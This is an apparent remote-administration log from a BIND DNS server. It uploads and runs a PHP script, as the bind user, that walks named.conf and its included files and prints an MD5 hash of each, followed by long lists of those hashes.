MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:17: Establishing a connection
2026-04-23 14:25:18: 

PUT: /tmp/pkp617688

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp617688; rm /tmp/pkp617688'

2026-04-23 14:25:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
